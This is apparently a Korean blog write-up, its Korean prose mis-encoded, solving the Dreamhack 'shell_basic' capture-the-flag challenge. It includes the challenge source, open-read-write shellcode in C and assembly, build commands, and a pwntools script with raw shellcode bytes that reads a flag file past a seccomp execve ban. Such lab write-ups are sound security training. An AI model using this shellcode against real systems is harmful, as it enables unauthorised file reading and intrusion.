๐๏ธAccess
์ ๋ ฅํ ์ ธ์ฝ๋๋ฅผ ์คํํ๋ ํ๋ก๊ทธ๋จ์ด ์๋น์ค๋ก ๋ฑ๋ก๋์ด ์๋ํ๊ณ ์์ต๋๋ค.
main ํจ์๊ฐ ์๋ ๋ค๋ฅธ ํจ์๋ค์ execve, execveat ์์คํ ์ฝ์ ์ฌ์ฉํ์ง ๋ชปํ๋ฉฐ, ํ์ด์ ๊ด๋ จ์ด ์์ต๋๋ค.
flag ํ์ผ์ ์์น์ ์ด๋ฆ์ /home/shell_basic/flag_name_is_loooooong์ ๋๋ค.
๐พ Exploit Algorithm & Payload
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
#1
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
int main(void){
int fd;
char buf[0x30];
fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, 0);
read(fd, buf, 0x30);
write(1, buf, 0x30);
}
: execve ์์คํ ์ฝ์ ์ฌ์ฉํ์ง ๋ชปํ๋ค๋ ๋ฌธ์ ๋ฅผ ๋ณด๊ณ orw ์ ์ฝ๋๋ฅผ ์์ฑํด์ '/home/shell_basic/flag_name_is_loooooong' ๊ฒฝ๋ก์ ์๋ flag ํ์ผ์ ์ด๋ํ๋ ๋ฌธ์ ์์ ์ง์ํ๋ค.
: orw(Open-Read-Write) ์ ์ฝ๋๋ฅผ ์์ฑํ๊ธฐ ์ ์ c์ธ์ด๋ก ๋์์ ๋ค์๊ณผ ๊ฐ๋ค.
#2
: ๋์ ํ์ธ ํ ์ค์ผ๋ ํค ์ฝ๋๋ก orw ์ฝ๋์ ๋ผ๋๋ฅผ ์์ฑํ์๋ค.
__asm__(
".global run_sh\n"
"run_sh:\n"
"xor rax, rax\n"
"push rax #NULL(=0)\n"
"mov rax, 0x676e6f6f6f6f6f6f #'oooooong'\n"
"push rax\n"
"mov rax, 0x6c5f73695f656d61 #'ame_is_l'\n"
"push rax\n"
"mov rax, 0x6e5f67616c662f63 #'c/flag_n'\n"
"push rax\n"
"mov rax, 0x697361625f6c6c65 #'ell_basi'\n"
"push rax\n"
"mov rax, 0x68732f656d6f682f #'/home/sh'\n"
"push rax\n"
"mov rdi, rsp #rdi=rsp; rdi='/home/shell_basic/flag_name_is_loooooong'\n"
"xor rsi, rsi #rsi=0\n"
"xor rdx, rdx #rdx=0\n"
"mov rax, 0x02 #rax=2; rax=sys_open\n"
"syscall #open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax #rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 #rsi = rsp-0x30; rsi=buf\n"
"mov rdx, 0x30 #rdx = 0x30; rdx=len\n"
"mov rax, 0x0 #rax = 0; rax=syscall_read\n"
"syscall #read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 #rdi = 1; fd = stdout\n"
"mov rax, 0x1 #rax = 1; rax=syscall_write\n"
"syscall #write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi #rdi = 0\n"
"mov rax, 0x3c #rax = sys_exit\n"
"syscall #syscall(rax,rdi)exit(0)"
);
void run_sh();
int main() { run_sh(); }
; File name: exploit.asm
section .text
global _start
_start:
;open
xor rax, rax
push rax ;NULL(=0)
mov rax, 0x676e6f6f6f6f6f6f ;oooooong
push rax
mov rax, 0x6c5f73695f656d61 ;ame_is_l
push rax
mov rax, 0x6e5f67616c662f63 ;c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ;ell_basi
push rax
mov rax, 0x68732f656d6f682f ;/home/sh
push rax
mov rdi, rsp ;rdi=rsp ;rdi=/home/shell_basic/flag_name_is_loooooong
xor rsi, rsi ;rsi=0
xor rdx, rdx ;rdx=0
mov rax, 0x02 ;rax=2 ;rax=sys_open
syscall ;open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)
;read
mov rdi, rax ;rdi = fd
mov rsi, rsp
sub rsi, 0x30 ;rsi = rsp-0x30 ;rsi=buf
mov rdx, 0x30 ;rdx = 0x30 ;rdx=len
mov rax, 0x00 ;rax = 0 ;rax=syscall_read
syscall ;read(fd, buf, 0x30)
;write
mov rdi, 0x01 ;rdi = 1 ;fd = stdout
mov rax, 0x01 ;rax = 1 ;rax=syscall_write
syscall ;write(fd, buf, 0x30)
;exit
xor rdi, rdi ;rdi = 0
mov rax, 0x3c ;rax = sys_exit
syscall ;exit(rax,rdi)
: orw ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ๋ค.
: '/home/shell_basic/flag_name_is_loooooong'์ ๋ฌธ์์ด์ ASCII -> 16์ง์ ๋ณํ(๋ฆฌํ ์๋์ธ ๋ฐฉ์)์ผ๋ก ๋ณํํ์ฌ stack์ ๋ฃ์ด์ฃผ์๋ค.
โปstack push ๋ด๋ถ ์์ → /home/sh → ell_basi → c/flag_n → ame_is_l → oooooong → \x00 )
โปstack pop ๋ด๋ถ์์ ← /home/sh ← ell_basi ← c/flag_n ← ame_is_l ← oooooong ← \x00 )
: open ํจ์๋ฅผ syscall์ ํตํด ํธ์ถํ๋ค.
: read ํจ์๋ฅผ 0x30๋งํผ ์ฝ์ด ์ง์ญ๋ณ์ buf์ ์ ์ฅํ๋ค.
: write ํจ์๋ฅผ syscall์ ํตํด write ํจ์ ์ฌ์ฉํ๋ค.
: ๋ง์ง๋ง์ผ๋ก ํ๋ก๊ทธ๋จ์ ์ข
๋ฃ์ํฌ exit ํจ์ ์ฌ์ฉํ๋ค.
#3
$ nasm -f elf64 exploit.asm
$ objdump -d exploit.o
$ objcopy --dump-section .text=exploit.bin exploit.o
: asm ํ์ผ์ .oํ์ผ(์ปดํ์ผ)ํ ์ํค๊ธฐ ์ํด nasm ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ๋ค.
: objcopy ๋ช ๋ น์ ์ฌ์ฉํ์ฌ objdump๋ฅผ byte code(opcode)์ ํํ๋ก ์ถ์ถํ๋ค.
: ์ถ์ถ ํ ์๋ฒ๋ก ์ ธ ์ฝ๋๋ฅผ ํ๋ํ ์ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
from pwn import *
r = remote("host3.dreamhack.games", 17047)
shellcode = b"\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
r.sendafter(b": ", shellcode)
r.interactive()
+ ์ถ๊ฐ๋ก python ๋ชจ๋ pwntools๋ก๋ FLAG๋ฅผ ํ๋ํ ์ ์๋ค.
๐Summary
๊ณต๊ฒฉ์๊ฐ ์ ์ฝ๋๋ฅผ ์ด์ฉํ๋ฉด ํด๋น๋๋ ์ฝ๋๋ ์ ์์ ์ธ ๋์์ ํ์ง ์์ ์ ์์
ํด๋น ์ฝ๋์ rip์ด ๊ณต๊ฒฉ์๊ฐ ์์ฑ๋ ์ ์ฝ๋๋ก ์ด๋๋์ด ์๋๋ ์์ ๋ธ๋ฆฌ ์ฝ๋๊ฐ ์คํ๋ ์ ์์
๋ํ ์ด์ ๋ธ๋ฆฌ์ด๋ ๊ธฐ๊ณ์ด์ ๊ฑฐ์ ์ผ๋์ผ ๋์๋๋ฏ๋ก ์ํ๋ ๋ชจ๋ ๋ช ๋ น์ CPU์ ๋ด๋ฆด ์ ์๊ฒ ๋จ
mmap ์ฌ์ฉ: ์ฝ๋์์ mmap์ ์ฌ์ฉํ์ฌ ์์ฝ๋๋ฅผ ํ ๋นํ๊ณ ํด๋น ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์คํ ๊ฐ๋ฅํ ๋ฉ๋ชจ๋ฆฌ๋ก ์ค์
์์ฝ๋๊ฐ ์คํ๋๋๋ก ํ๋ ๋ฐฉ๋ฒ์ด๋ฉฐ, ์
์ฉ๋ ๊ฒฝ์ฐ ๋ณด์์ ์ทจ์ฝํ ์ ์์
seccomp ์ค์ : banned_execve() ํจ์์์ libseccomp์ ์ฌ์ฉํ์ฌ execve ๋ฐ execveat ์์คํ
์ฝ์ ์ฐจ๋จ
๊ทธ๋ฌ๋ ์ด๊ฒ๋ง์ผ๋ก๋ ๋ชจ๋ ๊ณต๊ฒฉ์ ์๋ฒฝํ๊ฒ ๋ง์ ์ ์์
๋ฒํผ ์ค๋ฒํ๋ก์ฐ ๊ฐ๋ฅ์ฑ: read(0, shellcode, 0x1000);์์ ์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ฉ๋ชจ๋ฆฌ ํ ๋น ํฌ๊ธฐ๋ฅผ ์ด๊ณผํ ๊ฒฝ์ฐ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ ์ ์์
...
๋ฐ๋ผ์ ์ ์ ๋ถ์ ๋ฐ ์ฝ๋ ๊ฒํ ๋ฅผ ์ฒ ์ ํ ์ํํ๊ณ , ๋ฐฐํฌ ์ ์ ์ทจ์ฝ์ ์ ์๋ณํ ์ ์๋๋ก ํด์ผํ๋ฉฐ ๊ฐ๋ณํ ์ฌ๋ฌ ๋ถ๋ถ์์ ์ฃผ์ํด์ผ ํจ
'[Dreamhack]SystemHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: Return to Shellcode (0) | 2023.08.30 |
---|---|
[Dreamhack] Level1: basic_exploitation_001 (0) | 2023.08.28 |
[Dreamhack] Level2: basic_exploitation_000 (0) | 2023.08.25 |
[Dreamhack] Level1: Return Address Overwrite (0) | 2023.08.18 |